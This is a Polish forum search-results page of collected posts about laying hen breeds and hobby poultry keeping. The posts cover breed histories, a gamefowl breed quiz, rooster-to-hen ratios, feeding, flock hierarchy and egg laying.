, rasy kur niosek 

rasy kur niosek

Oglądasz wypowiedzi wyszukane dla zapytania: rasy kur niosek




Temat: Nowa na forum
To one nie maja jakiejs swojej nazwy rasy? Tylko nioski?
Do kur przynioslam od sasiadki kogucika liliputka:

Ale widze, ze nie ma posluchu. Kury go przeganiaja, on probuje je nawolywac, ale one go raczej ignoruja. I teraz nie wiem. Czy go zostawic czy odniesc z powrotem.
Jest szansa, ze jakos sie ulozy czy powinnam miec raczej duzego koguta?





Temat: KURZA ZAGADKA
ODPOWIEDZI
1. Jaka japońska rasa kur jako jedyna zostało przez japończyków wyhodowana do walk kogutów z jedna duża stalową ostrogą. AYAM BALI
2. Największe metalowe ostrogi do walk zakładane ma rasa… ( podać jaka rasa, nie jest to rasa japońska) SATSUMADORI
3. Czy araucana to bojowiec? TAK
4. Czy satsumadori to kura dlugoogoniasta ? TAK
5. Bojowiec pochodzący z japoni należący również do kur śpiewających. KOEYOSHI
6. O SHAMO
PUNKTACJA
KITUŚ
1 shamo ? ŻLE
2 bojowiec amerykański ŻLE
3 NIE to nioska o zielonych jajach ŻLE
4 nie ŻLE
5 keyoshory albo satsumodori ale stawiam na pierwszego DOBRZE
6 chyba o shamo DOBRZE
3 PUNKTY
CDRolnik
1-Ko-Shamo ZLE
2-O-Shamo ZLE
3-Nie ZLE
4-Nie ZLE
5-Koeyoshi DOBRZE
6-O-Shamo DOBRZE
3 PUNKTY
KURCZACZEK
3 tak aaraucana to kura bojowa DOBRZE
4 tak tak to kury długoogoniaste DOBRZE
3 PUNKTY
MICHAL 93
1.shamo ZLE
2.
3.araucana nie jest rasą bojową ZLE
4.satsumadori to nie rasa kur długoogoniastych ZLE
5.Koeyoshi DOBRZE
6.o shamo DOBRZE
3 PUNKTY
ADAMMMOS
nie ZLE
4.tak DOBRZE
5.KOEYOSHI DOBRZE
6.o shamo DOBRZE
4,5 PUNKTA
DADZIO

3 Tak 4 Tak OBYDWIE DOBRZE
3 PUMKTY





Temat: NASZE PTAKI W OBIEKTYWIE - Klaudia
Próżno szukać w japońskich standarach i opisach kur tej rasy. Sami Japończycy nie uznają bowiem yokohamy za swoją narodową rasę, chociaż pochodzą właśnie z tego kraju. Ich nazwa na pewno nadana im została w Europie, gdzie została także wyhodowana z materiału zarodowego przywiezionego przez angielskich i francuskich żeglarzy. Yokohama to rasa kur długoogoniastych, w ich wyglądzie znaleźć można wiele wspólnego z bojowymi (niektórzy za takie je uważają). W ich estetycznej sylwetce zauważamy bażancią elegancję i dostojność. Dzisiaj pełnią one rolę typowo dekoracyjną i wystawową.Hodowla kur tej rasy w zasadzie nie przysparza problemów, co prawda nie sprawdzają się jako nioski, ale za to są doskonałymi mamkami.

Czasopismo WOLIERA

POSIADAM PEŁNE PRAWA AUTORSKIE DO TEGO ZDJĘCIA.



Temat: SUSSEX-y
Dobrze,więc możemy przyjąć,że rasy takie jak Sussex,Broody Hen,Rhode Island Red,Derbyshire to wszystkie są kurami ogólnoużytkowymi,czyli nioskami,Nie wiem jak wy ale nazwa towarowa jest dla mnie okresleniem kury skrzyżowanej np.Derbyshire i liliput łapciaty,po których wychodzi średnia kura z łapciami,i uważam że towarowy oznacza mieszańca międzyrodzajowego-nioska z ozdobnym).Ważne że i tak należą do rasowych kur nieśnych,a nie mieszanek typu cochin i nioska,bo cochin jest ozobną kurą,a nioska nie.Praktycznie wszystkie rasowe nioski pochodzą z USA.Jeżeli kura nie ma ozób z piór typu łapcie czy czub,albo karłowatosć to wszystkie kury nioski uważam za rasowe nioski.Bo np. tek łapciatej kury robi11nie uznaję za nioskę,tylko za towarówkę.



Temat: Yokohama
Yokohama



Autor zdjęcia: waldi

Rasa tych kur przybyła z Japonii w 1864 roku do Francji za sprawą francuskiego mnicha Girada.
To jedna z najpopularniejszych kur długoogoniastych w Naszych hodowlach.
Charakterystyczne ubarwienie, wspaniały ogon u koguta nie pozwoli nikomu pomylić tej rasy z żadną inną.
Kury dość agresywne zwłaszcza do przedstawicieli własnego gatunku, mogą swoją agresję okazywać w stosunku do ludzi.
Kury te to nie najlepsze nioski, ale instynkt kwoczenia jest dość silny.
By zachować piękny ogon koguta należy tym ptakom zapewnić odpowiednie warunki.
Wyhodowano rasę tych kur miniaturową, która jest najpopularniejsza w naszych hodowlach, miniatury niczym się nie różnią od pierwowzoru.

Yokohama



Temat: Kurze podloty...
chłopaki napiszcie co macie ma myśli że Wasze kury "podlatują" macie na myśli że Wasze kury przelatują przez ogrodzenie swojej zagrody wydostając się tym sposobem na podwórko gdzie są kwiaty warzywa krzewy i drzewa ozdobne które rozkopują
a może przelatują przez swoje ogrodzenie na sąsiednie podwórko czyniąc szkody u sąsiadów

tu dla dopełnienia postu mateusza20 który bardzo jasno już wytłumaczył które to są lotki obrazek przedstawiający skrzydło ptaka LOTKI PIERWSZEGO RZEDU to te o których mowa w tym temacie to te które należy przyciąć by uniemożliwić kurą podlatywanie

http://www.wiki.qgito.net...nitologia).html

w ogóle to dziwi mnie to że kury nioski są w stanie przefrunąć ogrodzenie musi ono być chyba niskie kury tych ras mają zwykle krótkie skrzydła i dosyć cieżkawą budowę ciała nigdy wcześniej się nie spotkałem z takim problemem



Temat: Kury Krajowe
Według definicji rasy nie posiadamy rasy kury krajowej, można jedynie mówić o ptakach w typie kury chłopskiej, wśród których starsze podręczniki wymieniały odmianę lżejszą i cięższą. Trudno jest oceniać kurę w oderwaniu od stada z którego pochodzi, cóż ma taka średnia kurka znaczyć, jeśli są też w stadzie liliputy? Prawdopodobnie jest mieszańcem kur dużych i karłowatych. Co innego jeśli całe stado stanowi zwartą całość, ewentualnie można doszukać się dokupionych i przekrzyżowanych z krajowymi niosek towarowych. Ta pstrokata kura jest w typie kury europejskiej, a więc jest kurą lekką, o pięknym pstrokatym upierzeniu, posiada różyczkowy grzebień, a więc wielce prawdopodobne, że to kura krajowa, ale jednak łatwiej coś wywnioskować po ocenie całego stada (z kogutem/ami oczywiście).
Pozdrawiam



Temat: Czubate kurczęta wśród kurcząt towarowych na targowiskach

Aeterna, to nie są kury pszeniczne, tylko brunatno-żółte, tak określa się barwę niemal identycznych kur rasy New Hampshire. Choć ta pierwsza ma delikatne oznaki kuropatwianości. Nie należy wybierać ptaków o tej barwie, bo jest ona świadectwem dużej domieszki krwi amerykańskich ras, jak New Hampshire i Rhode Island, od których pochodzi wiele kur towarowych.

Wraz z tymi rasami przybyło przed wojną do Polski upierzenie brunatno żółte (złota wersja upierzenia gronostajowego) oraz upierzenie gronostajowe (Sussex). Barwy te nie są uwzględnione przez Trybulskiego w opisie czubatek krajowych, bo nie występowały one jeszcze wówczas u tych kur. Z tego i pierwszego powodu nie można kur o takiej barwie uważać za czubatki staropolskie, a jeśli wtórnie pojawią się w naszym stadku ptaki o takich barwach, należy do kojarzeń wybierać ptaki o mniejszym udziale tych barw.


Dziękuję za konkretną odpowiedź.

Mam pytanie jeżeli można, które z kurek zaprezentowanych przez minizoo są pokrojowo najbliższe czubatkom staropolskim?

Jakie kolory upierzenia sa najbardziej wartościowe pod kątem odtwarzania rasy?

Jak rozumiem, minizoo masz te kurki jako nioski? Zazdroszczę targów, na których można dostać takie kurczaki Niestety w moich okolicach ujrzeć coś dużego, z czubkiem i będącego kurą ..... to zdarzenie warte zapisania kredą w kominie



Temat: Problem z niezarodnymi jajami
daniel g., napisz jakiej rasykury, Czy są liliputy, zwykłe nioski (średnie) czy też dużego typu. Jeśli ma się kilka kogutów w stadzie, trzeba się liczyć z tym, że jeden drugiego zgania z kury i do zapłodnienia nie dochodzi. Może być też tak,że koguty się piorą, zamiast deptać. Kogutów jest za dużo. Na jajka wylęgowe, przy takiej ilości kur i kogutow, najlepiej odizolować część stada np. 10 kurek i kogut. Wtedy więcej jajek będzie zalężony, bo będize jeden kogut i nie będzie miał się on z kim bić, ani nikt go nie będize spędzał z kury.



Temat: Czy hodowla ptaków ozdobnych jest opłacalna?
Moim zdaniem hodowla może być opłacalna,ale tylko czysto rasowych ras.Kiedyś miałem kurki cwergi,nie wiem co to była dokładnie za rasa,bo w mojej okolicy nie istnieje coś takiego jak rasa.Wszystko to nioski,brojlery albo cwergi.Moje to były krzyżówkami krzyżówek,bo jedne były z opierzonymi łapami inne nie,mały też różne grzebienie.Ja osobiście nie sprzedawałem tych ptaków,bo hodowałem je czysto hobbystycznie.Od zawsze marzyłem aby mieć kury a one były moimi pierwszymi.Raz sprzedałem kwokę z kilkoma małymi za 45 zł.Kurka była za 15 a maluchy po 5 zł sztuka.Mimo sprzedaży ta hodowla była nieopłacalna Potem zacząłem hodować perlice i mam je nadal,bo są u mnie dopiero rok i nie mam na razie zamiar ich likwidować.W tym roku,też mi nie przyniosą zysku,gdyż mam tylko 2 sztuki z przychówku.Mimo to nie mam zamiaru ich likwidować,może w przyszłym roku będzie lepiej a jak nie to się mówi trudno i hoduje się dalej.W hodowli rasowych kur sprawa ma się inaczej,zwłaszcza wśród nietypowo wyglądających.W tym roku kupiłem sobie parkę kurek jedwabistych i już mam 2 zamówienia na przychówek,którego jeszcze nie posiadam.Może wyjdę jakoś w hodowli silek choć trochę do przodu,zwłaszcza,że jedyny zastrzyk gotówki na hodowle mam na urodziny,albo jak ktoś z rodziny mieszkającej,dalej przyjedzie.



Temat: Kelly
To jedno jedyne to chyba był kogut . Potem hodowca moich orpingtonów chciał z powrotem kurkę orpington zpo jego kurkach więc mu wysłałam na wymianę z kurką od niego rasy marans. Jego kurka była jakaś niebardzo akurat (nie z winy hodowcy, po prostu jakoś tak się trafilo) i zeszla dosyć szybko, ale udalo mi sie wyhodować jedną kurke i dwa koguty z niej itego rodzynka. Koguty poszły na rosół, ale najpierw zebralam kilka jajek od kurki marans oraz od niosek. Więc teraz mam kurczaczki: 4 maransy czyste i chyba 4 krzyżówki. To mają być użytkowe na sprzedaż jajek. Ludzie bardzo lubią takie ciemnobrązowe. Ale wzięłam od mamy dwa orpingtony, bo chcę mieć kokoszki. Do hodowli to chcę iść w małe rasy kur i zacznę od sebrytek. Po prostu przy wysyłaniu ciężkich kur pocztą to ja bym osiwiała jeszcze bardziej.

Maja



Temat: Brahmy kuropatwiane niebieskie paskowane.
Witam, mam podobny problem. Od 15 lat hoduję drób użytkowy tj. kury nioski i brojlery.
Ostatnio zakupiłam kurczaki Brahmy złotej, lub żółtej, mają prawie 3 miesiące.
Mam pytanie,słyszałam, że jest to dość trudna rasa w chowie, jakie mają wymagania, co do pasz i temperatury chowu?
Bardzo bym chciała wychować te kurczaki i za jakiś czas patrzeć na zdrowe dorosłe stadko.
Wiem ze są hodowcy tej rasy, bardzo proszę o informację o hodowli tych ptaków w takim wieku jak pisałam powyżej i starszych.
Chcę te kury traktować wyłącznie jako drób ozdobny. Pozdrawiam



Temat: Fawerole.


Fawerole to pełne uroku i chętnie trzymane przez hodowców - amatorów kury ozdobne. Jednak tu królują fawerole duże nad miniaturowymi które są rzadsze i trudniej dostępne. Nieszablonowy wygląd to nie jedyna zaleta rasy. Ta odporna na nasze warunki atmosferyczne kura, jest dość dobrą nioską. W pierwszym roku potrafi znieść około 160 dużych jaj. W hodowli nie sprawia większych trudności.

Temat o tych kurach.



Temat: Liliputy
Tak Kacper zgadza się ze łapcie powstały samoistnie a nie w wyniku krzyżówek. Ale ja tylko pisze, że łatwiej było by utrzymywać liliputy gratko nogie.
Ja osobiście u siebie mam zamiar maksymalnie hodować 2 rasy kur. Mam swoje Cwerki, które wreszcie się nioską, 3 kolory czubatek (czarne, niebieskie i białe), oraz pracuje nad nowym kolorem w oparciu o koguta gronostajowego od Pana Stanisława. I to mi wystarczy, bo na więcej nie znajdę czasu może kiedyś na emeryturze.



Temat: Ile kur na jednego koguta??
Koguty cięższych ras mogą obsłużyć mniej kur,np; u Cochinów Dużych lub Brachm na koguta powinno przypadać max. 5 kur choć i w takim zestawieniu mogą być słabo zalężone jajka. Rasy lekkie i sprytne takie jak liliputy czy fryzyjki to u nich na koguta może przypadać nawet do 10-20 kur i może być dużo jaj zalężonych. U ras dużych trzeba często wymieniać koguty, ponieważ szybciej tracą zdolność do rozrodu, choć nie we wszystkich przypadkach, a u ras małych koguty mogą się trzymać bardzo długo. To, że się koguty będą biły to jest prawda, ale Ty przecież nie masz ras bojowych co w oczach widzą tylko "zabić", tylko jakieś zwykłe nioski lub jakieś czubatki, a te kury nie są aż takie zawzięte. Przez kilka dni koguty się będą biły, aż się któryś zmęczy i ustąpi temu silniejszemu i nie ma co się obawiać o jakieś delikatne rany na dzwonkach i grzebieniach lub jak się posypie troche piór to się szybko zagoi, a pióra raz dwa urosnął i po sprawie. Po miesiącu koguty będą już się tolerować lecz z pewnym dystansem i już nie będzie krwawych bijatyk tak jak na początku, tylko kilkusekundowe utarczki, żeby hierarchia się trzymała.



Temat: cykl nośności
Mówisz żę interesuję Cię zielononózka. Ta rasa jest stosunkowo starą rasą a więc trochę prymitywną jednak dzięki temu posiada badzo dużo cech pozytywnych np. w dziedzinie odpornościowej. Jeżeli przy Twoich kurkach nikt przez ostatnie kilka pokoleń do tyłu nie" majstrował "i nie dolewał innej krwi to jest wszystko o.k.
Idąc dalej to zależy kiedy Twoje kury weszły w okres nieśności jeżeli było to latem to nie musisz im przedłużać dnia świetlnego . Inaczej jest jeżeli weszły one np. jesienią gdzie dni są już krótkie , to aby niosły musisz im ten dzień aktywności życiowej wydłużyć poprzez doświetlanie. Jednak w ciągu doby kura musi mieć również okres odpoczynku czyli noc. Okres odpoczynku nie może być krótszy jak 8 godzin. Okres nieśności jest okresem dla kury bardzo wyczerpującym i w tym okresie musi hodowca zapewnić im wszystko co poprzednio napisałem. Bardzo ważne jest aby kury w tym okresie miały stały dostęp również do wody. Wystarczy jeden dzień zaniedbania tego [zimą woda zamarznie a latem wyparuje lub zostanie wychlapana np. przez kaczki] to już nioski zareagują spadkiem nieśności.
Czyli u niosek fermowych nieśność powinna wynosić 87-90 % dni w roku, a u zielononóżki 50%. W pierwszym roku nieśności.



Temat: Hamburska
Hamburska kura to stara rasa, istniejąca kilkaset lat temu w Holandii, chociaż trudno dokładnie ustalić jej pochodzenie.
Przodkami są kury nakrapiane i cętkowane padewskie,występuje kilka odmiany barwnej: Czarna, biała, srebrna i złota cętkowana,miniatury 06-07 kg duże 1-2,5 kg. U rasy tej widoczna jest, elegancja,delikatność i szlachetny wygląd, który zapiera dech w piersiach.
Korpus wydłużony leko opadający, wysoko uniesiona pierś,wąskie uda średnio długie skoki,sterówki pełne, długie, w ogonie u kogutów.Cechą wyróżniającą te kury, jest ubarwienie i różyczkowy grzebień,przechodzący stopniowo w okrągły kolec,okrągłe białe zausznice i delikatne dzwonki.Hodowla tych kur nie jest wymagająca, kurki odporne na warunki atmosferyczne,są bardzo płochliwe i nie ufne,doskonałe nioski jak i bardzo chętnie wysiadują jaja gdy się im zapewni absolutny spokój , lubią duże wybiegi, ale doskonale czują się w hodowli wolierowej, rasę tą śmiało można polecić początkującym hodowcą.



Temat: KURY TOWAROWE - NASZE DOśWIADCZENIA
To ja powiem tak kiedyś w wylęgarni w Gnieżnie można było kupić cos takiego jak mieszanka, czyli kurki i koguty różnych ras, odmian itp., w cenie 1,20 za pisklaka. Trafiały się kury cięższe, lżejsze, zaleta było to ze były kolorowe i nie było monotonii na podwórku, dobrze się niosły i około 25% wykazywało chęć wysiadywania jajek. Nawet kiedyś trafiłem na kurek, która zupełnie wyglądała identycznie jak Popielata. Od jakiś 5 lat w wylęgarni można kupić tylko kury nadające się do intensywnej hodowli klatkowej, bodajże linii Hydro (przynajmniej tak te kuraki są nazywane przez obsługę wylęgarni). Żyją około 2 lat i jeśli niedostana paszy to można tylko poważyć o jajkach. W zeszłym roku pokusiło mnie, aby wyremontować stadko niosek, był to dzień 2 kwietnia, w lokalnej prasie znalazłem ogłoszenie sprzedam 10 tygodniowe nioski. Pojechałem i kupiłem 10 sztuk hodowca mówił że jest to węgierska Messa. Dzisiaj wiem że jeśli jeszcze raz mnie takie licho pokusi to domownikom powiedziałem że maja mnie w głowę walnąć abym mi to z głowy tak szybko wyleciało jak przyszło. Kury typowo towarowe nie na dają się w ogóle do przydomowych drobno stadnych hodowli na jajka, do dnia dzisiejszego pozostały mi 2 kury. Wszystkie pozostałe zdechły same z siebie, wszystkie miały zrobiona sekcje i lekarz, stwierdził, że były zdrowe. Tak wiec w tym roku postanowiłem nabyć Zielononóżki, i już nic mojego zdania na temat fermowych zdechlaków nie zmieni.



Temat: Rodzaje krzyżowania: Krzyżowanie wypierające
Z punktu widzenia hodowców nie ma sensu odwrotne kojarzenie, gdyż jak pisałem chodziło o uszlachetnienie ras lokalnych.
Hodowca ma raczej stado kur lub krów lokalnej odmiany, a nie stado prymitywnych kogutów czy buhajów. Poza tym łatwiej jest wprowadzić 1 koguta szlachetnej rasy do stada 20 kur krajowych, lub inseminować krowy lokalne nasieniem buhajów szlachetnych. Mówiąc o tym rodzaju krzyżowania mówimy o zwierzętach utrzymywanych w warunkach prymitywnych, do których nie nadają się wysokoprodukcyjne, wydelikacone linie niosek/krów mlecznych.
Ja nie rozpocząłem tego tematu żeby promować ten typ kojarzenia, tylko żeby zauważyć, że termin ten niektórzy stosują błędnie.

W dzisiejszych czasach ten rodzaj kojarzenia nie jest popularny, raczej obserwuje się złe skutki takich praktyk stosowanych w przeszłości i dąży się do odtworzenia starych lokalnych ras świadczących o kulturze danego regionu. Przykładem jest krowa polska czerwona, przez lata udoskonalana duńską czerwoną, ile by teraz dali niektórzy żeby zdobyć czysto-polskie sztuki........



Temat: Plymuth rock
Plymuth rock



Autor zdjęcia: Iga

Nazwa rasy wywodzi się od amerykańskiego miasta Plymouth, gdzie Dr. Beneth,
z kur dominikańskich, brahm, kochinów i bantamek stworzył tę rasę.
W roku 1874 rasa ta została uznana w USA, skąd trafiła do innych krajów.
Kury te są dość duże waga koguta do 4,5 kg. Cechą charakterystyczną jest prążkowanie białe lub płowożółte, oraz prawie pozioma linia grzbietu.
Dobre nioski, dające się dość łatwo oswoić, nie przejawiające agresji wobec siebie.

Plymuth rock



Temat: Mam kury! :-) i.. chetnie kupie jaja innych ras
Udalo mi sie zamowic w koncu kury dzieki bili17, ktory dal mi telefon z ogloszenia. :-)
Kury przyjechaly spod Poznania. Jako, ze nie oplacalo im sie wiezc mi 5 sztuk, to umowilam sie z kims, kto bral wiecej, zeby wzial dla mnie. Na szczescie niektorzy ludzie sa na tyle ufni, ze nie robili problemow (bo przeciez mogliby sie bac, ze nie odbiore).
Mam 5 zwyklych, mlodych niosek. Koguta dostalam od kolegi. Jest to mieszanka zielononozki i silki. Ma taki dziwny grzebien, zielone nogi i odstajace lekko piora na glowie. :-)
Marza mi sie w dalszym ciagu wyandotty, ale tez orpingtony albo wloszki.
Gdyby ktos mial jajka legowe do sprzedania to chetnie kupie. Zalezy mi, zeby nie byly mieszankami. Jest na allegro aukcja http://www.allegro.pl/ite...odni_ladne.html
ale nie znam sie i nie wiem czy tak maja wygladac. Wolalabym kupic od kogos sprawdzonego.
Chcialabym hodowac jedna rase, wiec jesli ktos bedzie mial jaja ktorejs z tych, to po prostu zdecyduje sie na jedne. Zalezy mi na kurach lagodnych i nie lubiacych fruwac.



Temat: SILKI - KURKI JEDWABISTE
No właśnie ja też za bardzo nie wiem o co chodzi.Otwiera się link do allegro...ale po co?Teraz silki siedzą z kurami i przeniosę je do oddzielnej woliery na wiosnę.Dziś jak pod koniec dnia wypuściłem ptaszki aby sobie pobiegały z 10 min to biała silka mimo iż siedzi i po prostu wyszła na chwilę z gniazda to jak do niej podszedł kogut silki to ona się napuszyła i uciekała a jak przechodził w pobliżu kogut nioski to ono od razu przysiądla na ziemi ale tamten ją zignorował.Widać woli tego.Ale to dziwne że siedząca kura chce aby kogut ją pokrył.Wogóle mnie to dziwi że wszystkie kury wolą koguta nioski a nie swojej rasy np silki albo też liliputki.



Temat: Hierarchia u drobiu - "kurzy zapach"
Na wiosnę powiększyłem moje stadko kur nieśnych o młode osobniki. Stare kury nie mogły dojść do porozumienia z młodymi do czasu gdy młode zaczęły sie nieść. Nie wiem dlaczego, ale stary kogut od początku uznawał tylko młode czerwone kurki, tych o innym kolorze nie dopuszczał do karmidła, musiałem dla młodych postawić nowe.

Nie dawno kupiłem koguta i dwie kurki rasy sebrytka. Nie zbudowałem dla nich jeszcze woliery więc kurki trzymam na wspólnym wybiegu z nioskami. Na początku gdy nioski zbliżały się do sebrytek , to one od razu atakowały i wygrywały. Działo się tak przez 2 dni. Teraz żadna nioska się do nich nie zbliża i jest spokój.



Temat: problem z nogami
Obawiam się, że witaminki niewiele tutaj pomogą. Przyczyny według mnie mogą być dwojakiego rodzaju.
1. Często kury dostają - posłużmy się nazewnictwem naszych babć - kulawizny. Może ona być wynikiem schorzeń, na przykład wątroby. Miałem kilka takich przypadków w swojej hodowli. Zawsze staram się zrobić przy kazji swoją amatorską sekcję zwłok. Za każdym razem obserwuję zmiany w wątrobie. Zauważyłem też, że częsciej kulawizny dostają nioski towarowe, żywione granulatami niż tak zwane "kury wiejskie". Więcej niewiele na ten temat mogę powiedzieć, bo nie jestem lekarzem weterynarii.
2. Głowną jednak przyczyną sa zmiany na tle genetycznym. Japończycy mają nieustanny problem ze śpiewającymi koeyoshi, u których w drugim lub trzecim roku życia "siadają" stawy skokowe. Podobne zjawisko obserwują też hodowcy innej "ciężkiej" rasy - sataumadori. Rok temu nabyłem koguta zielononóżki kuropatwianej, który chodził jak pijany. Tak jakby stawy nie były usztywniane pzez ścięgna i wiązadła. Po prostu niektóre rasy, a także poszczególne stada są ze sobą mocno spokrewnione.



Temat: W wolierach, czy swobodnie? Jak utrzymujemy nasze ptaki, co
przyłączę się do dyskusji na temat wielkości wolier , "bezkresnej" swobody przestrzeni na temat nieśności kur.
Nie ma to żadnego wpływu na wyniki nieśności.
Przykłady:
Fermy hodowlane niosek,
Hodowle drobiu ozdobnego w Niemczech czy Holandii.
Będąc niejednokrotnie po jakiś przecudny egzemplarz u naszych zachodnich sąsiadów łapałem sie za głowę jak w tak małych pomieszczeniach można trzymac tyle wzorcowych wystawowo osobników. Bardzo prosto ,chów klatkowy ,piętrowe stojaki.Pomieszczenia wyposażone w klimy lub jonizatory , zaciemniane okna, sztuczne światło ,także aseptyczne i w klateczkach przecudne egzemplarze.Często spowodowane jest to brakiem terenu .
Wielkośc pomieszczeń ma wpływ jedynie na zdrowotność ptaków , brak ruchu powoduje odgnioty na stopach i palcach co może wpłynąć na rozwój infekcji gronkowca i innych schorzeń. Kurkom(wystawowym), pewnych ras zwłaszcza łapciatych i czubatych w okresie przygotowania do wystaw specjalnie ogranicza się "bezkres" wybiegu .Chyba ,że woliera jest całkowicie zadaszona i nie przepuszczjąca bezposrednio promieni słonecznych.Celem,takiego chowu jest zapobieganie przed zniszczeniem upierzenia i wyeliminowaniu niewskazanych odbarwień i nalotów . Łapciate dodatkowo wskazane utrzymywać na miękkim i suchym podłozu. Często hodowców tych ras nazywa się "wiórarzami".
Ważnym elementem nieśności kur, jak nienajważniejszym jest zbilansowana karma oraz uwarunkowania genetyczne.
Zaznaczam,że takie warunki stosowane są w hodowlach a nie w chowach przydomowych .Więc trzeba sobie uświadomic co to jest hodowla a co chów.



Temat: Mieszanie się ras.
Wiecie, każdy ma różne sposoby. Ja kiedyś trzymałem kury hamburskie i nioski razem , z tym, że nie miałem koguta do niosek. Łatwo się rozpoznaje ich jajka i dzięki temu miałem czyste hamburskie.

Co do zimy to sam trzymam wszystkie rasy razem, gdyż raz, że jest im cieplej, a dwa jest mniej roboty :-/ Koguty ustalą swoją hierarchie, wszystkie ptaki "poznają się" (u mnie trwało to 2 tyg) i wszystko jest już potem dobrze.

Nie trzymam tylko czubatek z resztą bo ich czubki bardzo podobają się innym rasom i je dziobią.



Temat: Kury - problemy z nieśnością
A to już wymaga konsultacji weta.
A swoją drogą jeżeli połączyłeś kury "stare" z "młodymi" to dobrą dezyzją nie było ponieważ te pierwsze będziesz wybijał wcześniej np. o rok. I jeżeli są tej samej rasy to będzie problem z ponownym ich rozdzieleniem , wiesz nie będzie wiadomo na 100% którą należy już wyeliminować z hodowli a która po przepierzeniu będzie dalej nioską.



Temat: Babcock i loman
Witam wszystkich Państwa serdecznie...Jestem początkującym hodowcą w tym roku chcę na własny użytek zacząć hodować kurki a na przyszły kaczuszki gąski i indyki oraz bażanty...
dużo się muszę nauczyć i czytam forum oraz książki tematyczne ale...
nigdzie nie mogę znaleźć nic na temat dwóch ras które zamierzam kupić:
pierwsza z nich to brojler- babcock
druga to nioska- loman

co wiemy na temat tych ras i do jakich bardziej popularnych kur mogę porównać w/w

dodatkowo chcę uzupełnić chów kilkoma np. 5-cioma zielononóżkami i kogutkiem.

Z góry dziękuję za odpowiedzi i pozdrawiam wszystkich użytkowników forum
p.s. bardzo zależy mi na szybkiej odpowiedzi gdyż mam mało czasu na podjęcie decyzji



Temat: Pweł
Witam
Po tygodniach spędzonych na czytaniu artykułów ustaliłem jedzonko dla swojego stadka kur które mam od miesiąca i odkupiłem z fermy. Mam stadko 70 kur różnych ras a więc postanowiłem ję żywić:

rano: ziemniaki parowane 3 kg+kukurydza mielona 2 kg+ jeden namoczony chleb+dodatek do paszy+susz z zielonek (natka pietruszki) i zastanawiam sięczy dodawać im drożdży spożywczych????????????????? no i ogólnie co o tym sądzicie czy to jest ok??
Wieczorem: 1 kg paszy dala niosek i 2 kg pszenżyta.

Czy to będzie wystarczająca ilość razem dziennie jest około 10 kg ??



Temat: Przydatność użytkowa kur
Z bardzo wczesnego dzieciństwa pamiętam czubatki staropolskie, z nieco późniejszego najprawdopodobniej niemieckie zagrodowe miniatury, co - pamiętając typ budowy, wielkość, barwę itp. - ustaliłem dopiero niedawno. Zbyt młody i niedoświadczony byłem, by hodować jedną! cudem zdobytą parkę (wczesne lata '80), w czystości rasy... W wieku dorosłym, oprócz liliputów, były już tylko kury użytkowe, aczkolwiek nie "wylęgarniowe", i zabawa w utrwalanie srebrzystej barwy.
Wstęp nieco przydługawy, lecz wracam już do głównego wątku. Ptaki dorosłe, czyli nioski, dożywały u mnie zawsze kresu swych dni; zabijane (dobijane?) były jedynie w przypadkach nieuleczalnych chorób. Najstarsza dożyła wieku siedmiu lat, jako doskonała nasiadka. W ostatnim sezonie zniosła zaledwie kilkanaście jaj, padła w albo w trakcie wysiadywania, albo w trakcie wodzenia piskląt - nie pamiętam już...



Temat: :: Nowa Woliera ::
Witam!
Drób zacząłem hodować na przełomie marca i kwietnia 2009, obecnie mam spory mix drobiu kurzo-indyczego. Nie słyszałem wcześniej o czopiśmie WOLIERA, tak, jak nie wiedziałem o tym, że kury miewają różne rasy, że chorują, że należy się nimi opiekowac a nie tylko karmić, że jajka od kury mają inny smak niż jajka z fermy. Od czerwca hodowla ptactwa przechodzi od hobby w pasję. Nawet kurki, zwykłe użytkowe czerwone nioski, których odziedziczyłem 9, mają u mnie jak u Pana Boga za piecem. Ale wiedza "naiwna", nabywana obserwacją nie zawsze jest w stanie sprostać wymaganiom ptaków, stąd też pragnę zaprenumerować WOLIERĘ. Proszę o informację, jak zaprenumerować Wasze czasopismo (nr rachunku do wpłaty, dane itd.) oraz czy mogę zaprenumerować płacąc "z góry" od bieżącego numeru do np końca roku a później wykupić całoroczną prenumeratę? Jakie kwoty należy wpłacać przy wykupieniu prenumeraty, jak to wyliczyć? Bardzo proszę o podanie tych informacji na forum, myślę, że to ułatwi zaprenumerowanie Waszego magazynu wielu forumowiczom, bez zbędnych telefonów, pisania itd. Po prostu naliczę sobie kwotę, zrobię przelew na Wasze konto a potwierdzenie wyślę mailem. Pozdrawiam!



Temat: orpingtony miniaturowe
Witam. Myślę o chowie orpingtonów miniaturowych. Jednak w internecie nie znalazłem zbyt dużo ogłoszeń z tymi ptakami w roli głównej. Wiem że na forum pisze wielu profesjonalistów, stąd też moje pytanie czy zna może ktoś jakiegoś dobrego hodowcę tej rasy, mam doświadczenie w chowie kur (co prawda zwykłych niosek, ale to już coś), ale mimo wszysto chciałbym kupić kury zdrowe tj. bez świerzbu, pasorzytów wewnętrznych itp. bo to duży problem przy oswajaniu. Prosił bym też jakiegoś znawcę drobiu aby napisał mi czy miniaturki orpingtonów maja takie same cechy użytkowe jak ich standardowe odpowiedniki.



Temat: Czubatka staropolska (dworska?)
W moich stronach kurki tego typu spotykane są bardzo często. jest to z wyglądu typ pośredni między liliputką a kurą towarową. Kurki takie nazywane są u nas cwergami i ich waga wacha się w granicach 1,5kg. Prawdopodobnie powstały one z krzyżówki właśnie fermowych niosek z liliputkami, jednak hodowane w tym typie od kilku dziesięcioleci mają swoj utrwalony fenotyp i chyba można je uznać za swego rodzaju rasę.



Temat: Czubatka staropolska (dworska?)
"No jeżeli uważasz, że czubek wystarczy żeby kurkę nazwać staropolską, to...
Ciekaw jestem czy czytałeś temat od początku. Może najpierw warto przeczytać wszystko i dopiero się wypowiedzieć ?

- no wlasnie nie uwazam,ze czubek wystarczy ale wielu tak wlasnie mysli. Jakakolwiek kura byle z czubkiem i juz sto fotek z podpisem Czubatka staropolska... Dla mnie to bez sensu.

Zapewniam,ze teksty o czubatkach przeczytalem w calej rozciaglosci ...teksty na forum bo do kurzej prasy nie mialem dostepu. Skoro jednak nie odkrylem Ameryki (i dobrze) to potwierdza tylko to co napisalem wyzej. Jesli do podobnych wnioskow dochodzi kilku ludzi niezaleznie od siebie to na ogol swiadczy,ze wnioski te sa sluszne. Tylko nieczesto ktos oponuje widzac zdjecie zwyklej nioski z wylegarni z mikroczubkiem ale podpisanej Czubatka staropolska.

